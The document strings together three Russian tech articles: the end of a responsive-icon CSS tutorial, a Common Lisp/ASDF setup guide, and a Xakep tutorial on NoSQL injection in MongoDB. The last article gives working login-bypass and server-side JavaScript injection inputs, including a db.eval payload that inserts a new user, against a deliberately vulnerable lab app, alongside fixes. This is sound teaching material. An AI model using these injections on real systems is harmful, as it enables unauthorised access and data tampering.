Подготовим четыре SVG (убедитесь, что исходные файлы имеют одинаковую высоту и ширину), в которых каждый элемент стоит на своем месте относительного общей композиции, и составим из них шрифт. Для этого идем на fontello, добавляем SVG и меняем на третьей вкладке привязку к буквам “L”,”o”,”g” и точку, к примеру.
Назовем шрифт “ittalk-logo” и скачаем готовый файл. Выгрузим шрифты в подпапку “logo” и скопируем из файла “ittalk-logo.css” @font-face (не забывая поменять пути).
Добавим во все стили несколько строчек.
Style-480.css:
```
@import "fonts/ittalk-font-small.css";
@font-face {
font-family: 'ittalk-logo';
src: url('fonts/logo/ittalk-logo.eot?39703710');
src: url('fonts/logo/ittalk-logo.eot?39703710#iefix') format('embedded-opentype'),
url('fonts/logo/ittalk-logo.woff?39703710') format('woff'),
url('fonts/logo/ittalk-logo.ttf?39703710') format('truetype'),
url('fonts/logo/ittalk-logo.svg?39703710#ittalk-logo') format('svg');
font-weight: normal;
font-style: normal;
}
body {
background-color: #f0f0f0;
text-align: center;
}
a {
text-decoration: none;
}
.icon {
display: inline-block;
color: #919191;
margin-bottom: 20px;
width: 100%;
height: 80px; /* Немного магии, смысл которой в том */
line-height: 80px; /* чтобы убрать текст из ссылки */
overflow: hidden; /* и оставить одну иконку. */
}
.icon:before {
width: 100%;
font-size: 50px;
}
.icon-logo {
font-family: 'ittalk-logo';
display: inline-block;
word-wrap: break-word;
width: 1px;
line-height: 0px;
font-size: 180px;
padding-top: 100px;
height: 60px;
margin-left: -0.7em;
}
```
Style-720.css:
```
@import "fonts/ittalk-font-medium.css";
@font-face {
font-family: 'ittalk-logo';
src: url('fonts/logo/ittalk-logo.eot?39703710');
src: url('fonts/logo/ittalk-logo.eot?39703710#iefix') format('embedded-opentype'),
url('fonts/logo/ittalk-logo.woff?39703710') format('woff'),
url('fonts/logo/ittalk-logo.ttf?39703710') format('truetype'),
url('fonts/logo/ittalk-logo.svg?39703710#ittalk-logo') format('svg');
font-weight: normal;
font-style: normal;
}
body {
background-color: #f0f0f0;
text-align: center;
}
a {
text-decoration: none;
}
.icon {
display: inline-block;
color: #919191;
width: 32%;
height: 130px;
line-height: 130px;
overflow: hidden;
}
.icon:before {
width: 100%;
font-size: 72px;
}
.icon-logo {
font-family: 'ittalk-logo';
display: inline-block;
word-wrap: break-word;
width: 1px;
line-height: 0px;
font-size: 320px;
padding-top: 200px;
height: 60px;
margin-left: -0.75em;
}
```
Style-big.css
```
@import "fonts/ittalk-font-big.css";
@font-face {
font-family: 'ittalk-logo';
src: url('fonts/logo/ittalk-logo.eot?39703710');
src: url('fonts/logo/ittalk-logo.eot?39703710#iefix') format('embedded-opentype'),
url('fonts/logo/ittalk-logo.woff?39703710') format('woff'),
url('fonts/logo/ittalk-logo.ttf?39703710') format('truetype'),
url('fonts/logo/ittalk-logo.svg?39703710#ittalk-logo') format('svg');
font-weight: normal;
font-style: normal;
}
body {
background-color: #f0f0f0;
text-align: center;
}
a {
text-decoration: none;
}
.icon {
display: inline-block;
color: #919191;
width: 30%;
height: 210px;
line-height: 210px;
overflow: hidden;
}
.icon:before {
width: 100%;
font-size: 128px;
}
.icon-logo {
font-family: 'ittalk-logo';
display: inline-block;
word-wrap: break-word;
width: 1px;
line-height: 0px;
font-size: 640px;
padding-top: 300px;
height: 120px;
margin-left: -0.75em;
}
```
**NB**: *Возможно, придется подбирать значения размера шрифта, а под него — и padding-top, height и margin-left.*
Логотип одноцветный, поэтому не видно элементов. Самый простой способ решить это — немного испортив семантику html-файла, добавить в него немного «лишних» тегов.
```
L**o***g*~~.~~
[Announces](#)
[Partners](#)
[News](#)
```
Выглядит ужасно, но напоминаю: мы просто разбираем здесь интересное решение самым быстрым способом =).
Далее добавляем во все стили правила:
Style-big.css
```
.icon-logo {
color: #1c82c4;
}
.icon-logo b {
color: #acd03c;
font-weight: normal;
}
.icon-logo i {
color: #fff;
font-style: normal;
}
.icon-logo s {
color: #fff;
text-decoration: none;
}
```
Style-720.css
```
.icon-logo {
color: #1c82c4;
}
.icon-logo b {
color: #acd03c;
font-weight: normal;
}
.icon-logo i {
color: #fff;
font-style: normal;
}
.icon-logo s {
display: none;
}
```
Style-480.css
```
.icon-logo {
color: #1c82c4;
}
.icon-logo b {
color: #acd03c;
font-weight: normal;
}
.icon-logo i {
display: none;
}
.icon-logo s {
display: none;
}
```
Вуаля! Имеем отзывчивые иконки без использования SVG и растровых картинок высокого разрешения. Иконки, которые меняют детализацию в зависимости от ширины экрана.
Посмотреть демо можно [здесь](http://blog.dataart.com/demos/responsive-icons/final/). Можно изменять ширину окна и наблюдать за результатом или открыть на мобильном телефоне и повернуть экран. Смотреть на десктопе лучше в Chrome или Firefox.
##### **Заключение**
В заключение хотелось бы напомнить, что весь код, все иллюстрации представлены здесь, только чтобы показать возможности работы с Adaptive icons. Конечно, иконки плохие, да и структура проекта оставляет желать лучшего, можно было бы вынести повторяющиеся в каждом файле стилей условия, можно было отрефакторить код, создать еще стили для черно-белых экранов и многое другое. Но цель статьи не в этом, а в представлении нового взгляда на тренды, их совокупность и создание прикольного решения, которое может пригодиться в некоторых местах.
Надеюсь, вам было интересно, и вы узнали для себя хоть немного нового, что пригодится в разработке сайтов. Удачи!
Автор: Артем Маркушев | https://habr.com/ru/post/257505/ | null | ru | null |
# Разработка web-приложений на языке Common Lisp (часть вторая)
Данный обзор является небольшим путеводителем для тех, решился (или решается) доверить этому чудесному языку будущее своего стартапа. Несмотря на то, что основной акцент будет ставиться на web-разработке, я постараюсь осветить также и более общие темы, так или иначе связанные с Common Lisp. Материал почерпнут из собственного опыта разработки web-сервиса [AlterMoby](https://www.altermoby.com/about?language=ru&source=habr).
Вторая часть этого обзора будет посвящена базовому конфигурированию Lisp-среды. Будет описана установка простой Lisp-системы. Кроме того, вкратце рассмотрим систему управления зависимостями ASDF.
Прежде чем двигаться дальше, нам потребуется настроить простую Lisp-систему, необходимую для экспериментирования. Нижеприведённая инструкция по установке рассчитана на Debian Lenny, но, наверняка, будет работать во многих других дистрибутивах Linux (например, в Ubuntu).
Итак, для начала инсталлируем следующие пакеты: SBCL, Emacs и SLIME. SBCL – это компилятор Common Lisp, который мы обсуждали в [первой части](http://habrahabr.ru/blogs/webdev/104349/) этого обзора. [Emacs](http://ru.wikipedia.org/wiki/Emacs) – текстовый редактор, в котором будем писать программный код. Я никогда не порекомендовал бы вам этот редактор, если бы не одно существенное обстоятельство. Именно для него написан SLIME, третий из вышеперечисленных пакетов. [SLIME](http://ru.wikipedia.org/wiki/SLIME) (Superior Lisp Interaction Mode for Emacs) – это клиент-серверная система для взаимодействия с Lisp. Клиентская часть, которая так и называется — SLIME, интегрируется с Emacs (являясь его модулем расширения). Серверная часть SLIME называется SWANK и непосредственно взаимодействует с Lisp. SLIME-клиент и SWANK связываются друг с другом посредством TCP, что даёт возможность удалённо управлять Lisp-системой.
После инсталляции этих трёх компонентов нужно познакомить их друг с другом. Для этого добавляем в конфигурационный файл ~/.emacs следующие строки:
```
(setq inferior-lisp-program "/usr/bin/sbcl") (require 'slime) (slime-setup)
```
Теперь мы можем смело запускать нашу Lisp-систему. Открываем Emacs, вводим M-x slime (новичкам в Emacs читать [краткое руководство](http://www.opennet.ru/docs/RUS/emacs_begin/)). Если всё прошло хорошо, то откроется REPL (Lisp-консоль). Введите что-то вроде `(+ 1 1)` для уверенности в том, что SBCL запущен и выполняет наши команды.
Slime позволяет вычислять текущие выражения, искать определения символов, форматировать код, делать контекстные подсказки и многое-многое другое. Удобство работы со SLIME становится неоспоримым в сравнении с работой голого SBCL в терминале. Позже, когда появится опыт работы с Emacs (для тех, у кого его не было ранее), можно будет тонко сконфигурировать интерфейс. Например, поменять цвет фона и текста, добавить поддержку юникода и прочее. Сейчас это не так важно, главное, что мы имеем простую Lisp-среду в которой уже можно работать.
Поскольку мы не можем написать всё с нуля, нам потребуются готовые сторонние библиотеки. Потому будет полезным разобраться со способом их дистрибуции. Большинство сторонних библиотек используют систему управления зависимостями [ASDF](http://common-lisp.net/project/asdf/), ставшую де-факто стандартом в мире Common Lisp. Нам не потребуется инсталлировать ASDF – она идёт в комплекте с SBCL.
Итак, что собой представляет ASDF? Эту систему можно сравнить с утилитой make в мире UNIX. Она отслеживает связи и зависимости между различными единицами кода (от единичного файла до большого фреймворка), координируя их компиляцию и загрузку. Большинство ASDF-совместимых библиотек имеют в корневой директории один asd-файл, описывающий программную систему (в терминологии ASDF). Любая сколько нибудь сложная система состоит из нескольких компонентов. Компонент может быть как модулем, т.е. контейнером для других компонентов, так и отдельным файлом. Компоненты зависят от других компонентов, а системы — от других систем. На основании этих и других данных ASDF определяет порядок компиляции и загрузки целевой системы.
Структура и связи системы описываются с помощью декларативного DSL (предметно ориентированного языка). Важнейшей частью этого DSL является директива defsystem. Приведу пример простого asd-файла:
```
(in-package :asdf)
(defsystem my-lib :name "my-lib" :version "0.1" :components (
(:module "common" :components (
(:file "common-file-1")
(:file "common-file-2")
(:file "common-file-3" :depends-on ("common-file-1" "common-file-2"))))
(:module "main" :components (
(:file "main-file")) :depends-on (:common)))
:depends-on (:my-base-lib))
```
Здесь первая строка содержит директиву переключения в пакет (аналог пространства имён в Common Lisp — здесь и далее слово «пакет» будет применяться в этом значении) ASDF. Это сделано для удобства, чтобы не мешать описание системы и код её реализации в одну кучу (в качестве альтернативы можно создать для этого новый пакет my-lib-asd). Далее определяется система my-lib, содержащая два модуля и зависящая от системы my-base-lib. Обычно каждый модуль соответствует директории с исходными файлами, объединёнными по некоторому структурному или функциональному признаку. В данном примере первый модуль называется “common” и содержит три файла: независимые “common-file-1” и “common-file-2” и зависимый от этих двух “common-file-3”. Второй модуль называется “main”, содержит единственный файл “main-file” и зависит от модуля “common”.
Чтобы загрузить систему “my-lib” нам потребуется ввести следующую команду:
```
(asdf:oos ‘asdf:load-op :my-lib)
```
Эта команда вначале проверит актуальность каждого из компонентов в каждой из систем (my-lib, my-base-lib и тех, от кого зависит последняя). Неактуальные компоненты будут перекомпилированы, актуальные – сразу загружены в память (т.е. их символы будут обработаны и добавлены в соответствующие пакеты). Если не все системы или компоненты, от которых зависит целевая система, будут найдены, то произойдёт ошибка загрузки.
Теперь разберёмся, откуда ASDF знает, где искать asd-файлы. При компиляции или загрузке системы ASDF просматривает список директорий, хранящийся в переменной asdf:\*central-registry\*, проверяя наличие требуемого asd-файла (его имя должно соответствовать имени целевой системы). Поэтому перед загрузкой новой системы можно добавить в этот список путь к её корневой директории. Более разумным подходом является выделение специальной директории, содержащей символьные ссылки на asd-файлы всех имеющихся систем. Для этой цели подойдёт директория /usr/share/common-lisp/systems/, путь к которой по умолчанию добавлен в asdf:\*central-registry\*.
Имея базовые знания о ASDF, мы уже можем пользоваться множеством сторонних библиотек, которые с избытком наличествуют в Интернете (здесь важнейшим путеводителем будет [CLiki](http://www.cliki.net/index) — крупнейший портал, посвящённый Common Lisp). Остаётся только один вопрос: как инсталлировать нужные библиотеки, автоматически отслеживая и скачивая их зависимости? ASDF располагает лишь базовой функциональностью, не позволяя автоматизировать процесс инсталляции. К счастью, есть достаточное количество ASDF-расширений, решающих эту задачу. К ним, в частности, можно отнести [ASDF-INSTALL](http://common-lisp.net/project/asdf-install/tutorial/index.html). Несмотря на эти расширения, я бы рекомендовал на первых порах ими не пользоваться и инсталлировать зависимости вручную. Это позволит хорошо понять внутренние связи в используемых библиотеках. | https://habr.com/ru/post/105215/ | null | ru | null |
# Азбука NoSQL-инъекций
Бывают SQL-инъекции! А возможны ли NoSQL-инъекции? Да! Redis, MongoDB, memcached — все эти программные продукты относятся к классу нереляционных СУБД, противоположному популярным MySQL, Oracle Database и MSSQL. Так как интерес к перечисленным базам данных в последнее время значительно возрос, хакеры всех мастей просто не могли пройти мимо них.
#### Что такое NoSQL
Думаю, ты знаком с реляционной моделью СУБД, согласно которой база данных состоит из сущностей (таблиц), связанных между собой. Доступ к данным осуществляется с помощью SQL — структурированного языка запросов. За примерами реляционных СУБД далеко ходить не надо: MySQL, Oracle, Microsoft SQL Server. Все остальные СУБД, архитектура которым отличается от классической реляционной модели, смело можно отнести к классу NoSQL-решений:
* различные варианты хеш-таблиц (Redis, BigTable, memcached);
* документо-ориентированные базы данных (MongoDB, CouchDB);
* базы данных, основанные на графах (Neo4j, Sones GraphDB);
* объектно-ориентированные базы данных (db4o, Cache, Jade);
* XML-ориентированные базы данных (eXist, BaseX).
Основное отличие NoSQL-СУБД от их SQL-ориентированных конкурентов заключается в отсутствии единого, унифицированного языка запросов. Например, MongoDB использует в качестве языка запросов BSON, eXist применяет XQuery, а Sonic GraphDB требует от разработчика знания GraphQL, языка запросов к данным, имеющим вид графов. Популярность NoSQL-СУБД растет с каждым днем, что не может не сказываться на нас с тобой. Совсем скоро, буквально завтра, тебе придется искать не SQL-инъекции, а NoSQL-инъекции в очередном проекте. Не будем терять времени и поговорим о потенциальных уязвимостях.
#### Так ли безопасны NoSQL-СУБД?
Довольно часто я слышу утверждение, что нереляционные СУБД безопасны, так как они не используют SQL и злоумышленник не может провести на них атаки типа SQL-injection. В какой-то степени это верно: нет SQL — нет SQL-инъекций. Но, если в систему невозможно внедрить SQL-код, это еще не значит, что она безопасна. NoSQL закрывает одну потенциальную уязвимость, при этом открывая с десяток других, которые позволяют совершать разнообразные вредоносные действия:
* манипулировать с REST-интерфейсом и подделывать межсайтовые запросы (CSRF);
* использовать регулярные выражения в параметрах запроса;
* выполнять скрипты на сервере, если на нем установлена NoSQL-СУБД (например, MongoDB позволяет запускать JavaScript-код);
* получать доступ к данным через специальный интерфейс, поддерживаемый СУБД (SQL в реляционных базах данных, BSON в MongoDB и т. д.), и, если используется язык запросов, «исправлять» эти запросы.
Рассмотрим типовую архитектуру приложения с доступом к хранилищу данных NoSQL. Обычно она состоит из трех уровней:
* приложение;
* API базы данных NoSQL;
* NoSQL-СУБД.
Злоумышленник может атаковать каждый из этих уровней. Начнем с самого нижнего уровня, то есть непосредственно с СУБД.Как и любое приложение, СУБД может быть подвержена атакам переполнения буфера или иметь уязвимую схему аутентификации. Атаковать этот уровень довольно сложно, потому что сообщество, сформировавшееся вокруг продукта, и сама компания-разработчик стараются исправлять ошибки по мере их обнаружения. Но у тебя есть очень большое преимущество: большинство программных продуктов поставляются с исходным кодом, а значит, ты вполне сможешь его проанализировать и, возможно, найти что-нибудь стоящее. Если тебе повезет, то в твоих руках окажется ключ практически к любой базе данных! Следующий уровень — клиентское API. Большинство NoSQL-СУБД имеют целый зоопарк различных библиотек для доступа к данным. Стоит отметить, что большинство библиотек представляют собой проекты с открытым исходным кодом, но часть из них уже не поддерживается. Вероятность обнаружить уязвимость в клиентской библиотеке значительно выше, чем непосредственно в самой СУБД. И даже если тебе не посчастливится найти ту единственную уязвимость, которая откроет доступ ко всем приложениям, построенным на основе этого API, ты будешь представлять, как именно происходит диалог между клиентским кодом и сервером баз данных, какой используется протокол и можно ли перехватить сессию.
Ну и наконец, верхний уровень — приложение, которое ты собираешься взломать. Здесь тебе прежде всего нужно найти те места, где программист забыл проверить входные данные, и попытаться их проэксплуатировать. В данном случае нужно использовать тот же подход, что и при поиске SQL-инъекций, то есть анализировать код и сообщения об ошибках, только на этот раз придется разбираться с JSON, JavaScript или чем-то подобным.
Итак, настало время для взлома! Сегодня нашей целью будет MongoDB — одна из самых распространенных NoSQL-СУБД.
#### NoSQL-инъекции в MongoDB
Мы будем взламывать небольшое web-приложение. Вот его [исходный код](http://narod.ru/disk/49414936001.c8eff4290c6995894544335a6d26d061/xa_02_files_Totalnyi_destroy_MongoDB.zip.html) (процесс установки подробно описан в файле README.RU.txt). Если установка пройдет успешно, то приложение должно быть доступно по адресу http://127.0.0.1:31337. Основные атаки, о которых сегодня пойдет речь:
* инъекции в регулярных выражениях;
* JSON-инъекции;
* манипуляции с REST-интерфейсом;
* JavaScript-инъекции.
Начнем со взлома при помощи ошибок в использовании регулярных выражений.
###### Web-интерфейс MongoDB
#### Инъекции в регулярных выражениях
MongoDB, как и многие другие NoSQL-СУБД, позволяет осуществлять поиск с помощью регулярных выражений. Это очень мощное, но в то же время опасное средство, которое может нанести существенный вред при неправильном использовании.
Для поиска с помощью регулярных выражений в MongoDB используют оператор $regex. Например, запрос «верни мне всех пользователей, логин которых начинается с «ro»», будет выглядеть следующим образом:
```
db.users.find({ login: { $regex: "^ro" } })
```
Кстати, если ты не знаком с языком запросов MongoDB, то рекомендую начать его изучение с [руководства разработчика](http://bit.ly/cqW1RH). Но вернемся к нашему приложению. Открой тестовый web-сайт и выбери пункт «Инъекции в регулярных выражениях» в меню MongoDB.
###### Страница аутентификация пользователя в тестовом приложении
Посмотрим, как устроена эта страница. Открой файл mongodb.js в папке Lib. В нем реализован класс MongoDbController, который отвечает за функционирование всех страниц в приложении. Сейчас нас интересует метод regexp:
```
var regexpPwd = new RegExp("^" + password, "i");
var loginParam = { login: login, password: regexpPwd };
```
Как видишь, аутентификация пользователя происходит посредством запроса, который указывает регулярное выражение в качестве пароля. При этом переменная password никак не фильтруется, что открывает нам полную свободу действий. Здесь ты можешь указать имя пользователя root и регулярное выражение вместо пароля, например [\s\S]\*. В результате MongoDB выполнит следующий запрос: «db.users.findOne({login: 'root', password: /^[\s\S]\*/i})», и ты успешно войдешь на уязвимый сайт под логином root (этот прием напоминает классическую SQL-инъекцию «1' or 1=1 --»). Защититься от подобной атаки довольно просто. Во-первых, всегда проверяй входные данные, откуда бы они ни поступили — напрямую от пользователя, или из внешнего файла, или из базы данных. Перед использованием данных в программе их следует проверять. Во-вторых, используй регулярные выражения только в тех случаях, когда это действительно необходимо. Например, приведенный выше запрос можно переписать вот таким образом:
```
db.users.findOne({ login: 'root', password: 'p@ssw0rd' })
```
Как видишь, он безопаснее и при этом выполняется быстрее.
#### JSON-инъекции
Да, MongoDB не поддерживает SQL, но СУБД не может обойтись без языка запросов. Разработчики MongoDB решили использовать вместо SQL популярнейший текстовый формат обмена данными JSON (BSON). Таким образом, можно попробовать осуществить разного рода атаки-инъекции (конечно, если входные данные не фильтруются). Такие атаки обычно называют JSON-инъекциями.
Итак, снова открывай наше приложение и переходи на страницу «JSON-инъекции». Как и в предыдущем примере, ты увидишь поле для ввода имени пользователя и пароля. Давай рассмотрим код, отвечающий за процесс аутентификации на этой странице. Он содержится в методе json-injection класса MongoDbController:
```
var loginParam = eval("({ login: '" + login + "',
password: '" + password + "' })");
```
Вышеприведенный код преобразует текстовое представление объекта JavaScript (запроса к MongoDB) в объект. После передачи этого объекта на сервер баз данных происходит аутентификация пользователя. В этом куске кода есть одно очень слабое место — входные данные никак не контролируются, поэтому ты можешь сформировать практически любой запрос к базе! Например, укажи имя пользователя «root'})//» (пароль вводить необязательно) и нажми на кнопку «Войти». Поздравляю, ты снова вошел в систему! Как так получилось? Все очень просто. Ты указал имя пользователя «root'})//», и в функции eval произошел следующий фокус:
```
//Переданное значение
({ login: 'root'})//', password: '' })
//Получившийся запрос
db.users.findOne({ login: 'root' })
```
На самом деле этот скрипт даже еще опаснее, так как с его помощью ты можешь выполнить любой код JavaScript на web-сервере. Например, имя пользователя "' + process.execPath})//" сформирует запрос вида
```
db.users.findOne({ login: 'C:\\node.exe' })
```
Уязвимости такого типа называются Server Side JavaScript Injections или просто SSJI.
Как же защититься от подобных атак?
1. Проверяй все данные из внешних источников. Например, логин должен соответствовать регулярному выражения "^[a-zA-Z]+$".
2. Никогда не используй функцию eval для работы с JSON. В Node.js доступна функция JSON.parse, которая парсит входную строку и создает объект на ее основе.
###### Успешная аутентификация в тестовом приложении
#### Манипуляции с REST-интерфейсом
В связи с бурным развитием интернета и сервис-ориентированной архитектуры (SOA) все большую популярность набирают REST-решения. Так как большинство современных нереляционных СУБД организовано в соответствии с последними тенденциям в индустрии, то многие из таких систем либо сами реализуют REST, либо используют сторонние продукты для доступа к данным с помощью RESTful-архитектуры. MongoDB не исключение: в эту СУБД входит простой REST-интерфейс который позволяет получить доступ к данным в режиме «Только чтение». Кроме того, существует проект под названием Sleepy Mongoose, который реализует полную поддержку REST.
Давай посмотрим, как работает REST-интерфейс, встроенный в MongoDB. Сервер СУБД должен быть запущен с параметром "--rest". REST-сервис доступен по адресу http://127.0.0.1:28017/. Это очень простое web-приложение, которое отображает информацию о текущем состоянии СУБД и позволяет формировать запросы к базам данных. Вот несколько интересных ссылок:
* /listDatabases?text=1 — список баз данных;
* /serverStatus?text=1 — текущее состояние сервера.
В общем случае для формирования REST-запроса к базе данных используется URL следующего вида:
`http://127.0.0.1:28017/база_данных/коллекция/?filter_поле=значение`
На странице «Манипуляции с REST-интерфейсом» нашего web-приложения происходит аутентификация пользователя при помощи REST-интерфейса MongoDB. Она реализована в методе rest класса MongoDbController:
```
var restQry = "/secure_nosql/users/?filter_login="
+ login + "&filter_password=" + password;
var hash = restQry.indexOf("#");
if (hash > -1) {
restQry = restQry.substring(0, hash);
}
```
Скрипт формирует REST-запрос, игнорируя при этом все данные после символа "#". Когда REST-запрос готов, скрипт формирует HTTP-запрос к серверу и ожидает результат в формате JSON. К примеру, запрос информации о пользователе root в базе данных secure\_nosql выглядит следующим образом: http://127.0.0.1:28017/secure\_nosql/users/?filter\_login=root&filter\_password=p@ssw0rd. Всё бы хорошо, но в коде есть ошибка, проявляющая себя при обработке символа "#". Если ты попробуешь войти с именем «root#», то окажешься залогиненным в системе. Проблема, обусловленная формированием следующего URL: http://localhost:28017/secure\_nosql/users/?filter\_login=root#&filter\_password=. состоит в том, что параметр filter\_password был проигнорирован и аутентификация проходила посредством запроса http://localhost:28017/secure\_nosql/users/?filter\_login=root.
Стоит отметить, что большинство REST-интерфейсов также уязвимы к подделке межсайтовых запросов (CSRF):
```
```
Честно говоря, я довольно скептически отношусь к RESTful-архитектуре, так как она открывает большие возможности для злоумышленников. Постарайся не использовать REST. Но если без него никак, то предварительно прочитай статью [Robust Defenses for Cross-Site Request Forgery](http://bit.ly/cbVLvY), в которой очень подробно описаны все аспекты безопасности REST.
#### JavaScript-инъекции
Большинство современных реляционных СУБД позволяют создавать хранимые процедуры. Давай рассмотрим Microsoft SQL Server, который расширяет возможности ANSI SQL и позволяет соблюдать практически любые требования бизнес-приложений. Если тебе не хватает возможностей T-SQL (это диалект SQL, реализованный в SQL Server), то ты можешь написать хранимую процедуру на C# или любом другом .NET-совместимом языке.
MongoDB обладает не менее богатыми возможностями, в число которых входит серверный JavaScript. Фактически ты можешь выполнить почти любой код на сервере баз данных. С одной стороны, это позволяет писать очень сложные приложения для обработки данных, с другой — делает твое приложение более уязвимым.
Где можно использовать JavaScript в MongoDB?
1. **Запросы с оператором $where**. Например, запрос db.orders.find({ $where: «this.amount > 3» }) вернет тебе список заказов, количество пунктов в которых больше трех.
2. **Команда db.eval**. К примеру, db.eval(«function (x) { return x \* x; }», 2) вернет четыре.
3. **Функции для сохранения в базе данных**. MongoDB позволяет сохранять функции, написанные на языке JavaScript, в базе данных. Для этого используется специальная системная коллекция system.js. Чтобы создать новую хранимую функцию foo(x), выполни следующий код:
```
db.system.js.save( { _id: "foo", value: function (x) { return x * x; }})
```
Теперь можешь попробовать вызвать ее вот так: db.eval(«foo(2)»).
4. **Map/Reduce**. Map/Reduce — это программный фреймворк, разработанный компанией Google для параллельных вычислений над большими объемами данных. Он содержит две операции: map, используемую для предварительной обработки данных, и reduce, осуществляющую поиск результата.
MongoDB позволяет запускать операции map/reduce на сервере баз данных. Операции по распараллеливанию процессов и агрегации СУБД берет на себя, от разработчика требуется лишь указать исходные данные и функции, реализующие команды map и reduce. Дополнительная информация доступна в документации на [MongoDB](http://bit.ly/4V7mD).
В нашем тестовом приложении имеется JavaScript-инъекция в операторе $where и аналогичная уязвимость в команде db.eval.
Начнем c оператора $where. Открой приложение и выбери пункт $where в меню «Инъекции JavaScript». Аутентификация на странице реализована в методе ssji-where класса MongoDbController:
```
var js = "this.login === '" + login + "'
&& this.password === '" + password + "'";
var loginParam = { "$where" : js };
```
Сначала генерируется скрипт, который проверяет имя и пароль пользователя. К сожалению, данные в переменных password и login никак не проверяются, что позволяет выполнить любой скрипт на сервере.
Теперь давай попробуем войти как root. Введи имя пользователя «root' //» и попробуй войти. Ты в очередной раз успешно залогинишься! Это возможно благодаря тому, что на сервере был сформирован следующий запрос к MongoDB:
```
{ '$where': 'this.login === \'root\' //\' && this.password === \'\'' }
```
"//" — это комментарий в JavaScript, поэтому результирующий запрос примет вид «this.login === 'root'».
К счастью, в момент выполнения запроса база данных находится в режиме «Только чтение», поэтому злоумышленник не сможет написать скрипт, модифицирующий твои данные. Но это еще не говорит о том, что подобная атака невозможна. Открой страницу «Инъекции JavaScript — db.eval(...)». На этот раз аутентификация происходит посредством вызова функции eval на сервере базы данных:
```
var js = "function () { return db.users.findOne ({ login: '" + login + "', password: '" + password + "' }); }"
db.eval(js);
```
Как видишь, у тебя есть возможность выполнить любой код на сервере БД. Попробуй создать нового пользователя pen\_test с паролем pen\_test. Для этого нужно ввести следующий логин:
```
'}), db.users.insert({login: 'pen_test', password: 'pen_test'}), 1 } //
```
Во-первых, ты вошел в систему. Во-вторых, в базе данных появился новый пользователь pen\_test. :-)
Серверный JavaScript обладает огромным потенциалом и в то же время несет в себе много опасностей. Одна маленькая ошибка в коде, и злоумышленник получает доступ к твоему серверу баз данных. Я настоятельно рекомендую не использовать серверные скрипты: 85 % запросов можно написать и без них.
###### Доступ к тестовому приложению запрещен
#### Заключение
В заключение я бы хотел поговорить о том, каким я вижу настоящее и будущее NoSQL-сообщества. Во-первых, ты убедился в том, что NoSQL-СУБД пока не являются мейнстримом, но уже довольно близки к этому: появляются новые нереляционные СУБД и проекты, которые их используют. Как мне кажется, в ближайшем будущем NoSQL-решения займут относительно большую долю на рынке высоконагруженных приложений. Во-вторых, безопасность современных NoSQL-СУБД оставляет желать лучшего. Если в мире реляционных баз данных существует один стандартизированный язык запросов — SQL, то в «нереляционном мире» каждый реализует язык запросов, как ему вздумается: JSON, XQuery, REST-интерфейсы. Соответственно, и потенциальных уязвимостей намного больше. Если при работе с реляционными базами данных было достаточно изучить SQL-инъекции и способы борьбы с ними (при этом ты мог применить уже имеющиеся знания как в MySQL, так и в Oracle или SQL Server), то с нереляционными базами данных всё не так просто. Сначала тебе предстоит разобраться, какой язык запросов используется в твоей СУБД, как осуществляется доступ к данным и существуют ли дополнительные возможности, которые можно использовать для взлома (например, серверный JavaScript в MongoDB). После сбора информации тебе предстоит найти потенциальные уязвимости в своей системе и способы их устранения.
Я очень надеюсь, что в ближайшем будущем ситуация изменится: в открытом доступе появится больше информации и защититься от угроз, связанных с использованием NoSQL-СУБД, будет так же просто, как от обычных SQL-инъекций.
---
#### FAQ по NoSQL
**Q:** Каково происхождение термина NoSQL?
**A:** NoSQL переводится не как «Нет SQL» (No SQL at all), а как «Не только SQL» (Not only SQL). Этот термин возник в 1998 году: именно так Карло Строцци (Carlo Strozzi) назвал свою нереляционную систему управления базами данных. Второе рождение он получил в 2009-м, когда Эрик Эванс (Eric Evans) на конференции, посвященной свободным распределенным базам данных, использовал его для обозначения нереляционных СУБД и хранилищ данных. Можно считать, что именно эта конференция положила начало буму NoSQL-решений.
**Q:** Что такое MongoDB?
**A:** MongoDB — это документо-ориентированная система управления базами данных с открытым исходным кодом, разрабатываемая компанией 10gen с октября 2007 года. Первый релиз MongoDB вышел в феврале 2009 года. СУБД позиционируется как решение для хранения данных в высоконагруженных проектах. К ее основным достоинствам можно отнести высокую производительность, отличную масштабируемость, отказоустойчивость и наличие обширного сообщества разработчиков и пользователей. На данный момент среди пользователей MongoDB присутствуют такие всемирно известные компании, как Disney, SAP, Forbes и другие.
**Q:** Почему NoSQL?
**A:** Давай рассмотрим, какие основные преимущества имеют базы данных NoSQL по сравнению со своими реляционными собратьями.
1. **Производительность**.Разработчики большинства NoSQL-решений посвящают очень много времени оптимизации своих проектов. MongoDB позволяет добиться порядка 20000 вставок и 4800 выборок в секунду.
2. **Простая настройка репликации баз данных**. MongoDB позволяет настроить репликацию всего лишь с помощью нескольких команд, то есть гораздо проще, чем в том же Oracle.
3. **Множество «плюшек»**, облегчающих жизнь программистам. Например, MongoDB имеет встроенную поддержку Map/Reduce и сложных структур данных.
4. **Масштабируемость**. Это один из главных козырей NoSQL-СУБД. Большинство из них поддерживает горизонтальное масштабирование, что способствует существенной экономии средств на оборудовании, ведь дешевле купить еще один недорогой сервер для кластера, чем добавить в корпоративный сервер дополнительную пару процессоров и оперативную память.
5. **Они дешевле!** Большинство NoSQL-решений — это проекты с открытым исходным кодом. Ты можешь скачать их прямо сейчас и начать использовать. Вокруг многих проектов сформировалось большое и сплоченное сообщество, которое всегда готово помочь и исправить найденный тобой баг. В конце концов, ты сам можешь исправить баг или написать необходимое расширение. Кроме того, можно заметно сэкономить на расходах на администраторов баз данных, так как нереляционные СУБД гораздо проще реляционных и для их поддержки в большинстве случаев не требуется специальный сотрудник.
**Q:** Кто использует NoSQL?
**A:** Как видишь, NoSQL-СУБД имеют ряд неопровержимых преимуществ. Давай рассмотрим, кто же их использует:
* «Облачные» сервисы, а именно Google, Amazon и даже Windows Azure от Microsoft.
* Порталы и социальные сети: Facebook, Twitter, LinkedIn — думаю, ты сможешь продолжить список самостоятельно.
* SaaS. Всё большее число компаний выбирает решения Software-as-Service в качестве основной платформы для ведения бизнеса в тех отраслях, где постоянно растут нагрузки на инфраструктуру. Многие поставщики SaaS-решений переходят на NoSQL. Так, к примеру, поступил Salesforce.com — лидер в области SaaS CRM.
* Стартапы. Это отдельная категория проектов, которые запускаются с минимальным бюджетом с расчетом на суперприбыли в будущем. Такие проекты часто выбирают NoSQL-решения, так как они, во-первых, дешевы, а во-вторых, представляют собой отличный задел на будущее, если проект станет популярным.
*Журнал Хакер, [Февраль (02) 157](http://www.xakep.ru/articles/magazine/default.asp)
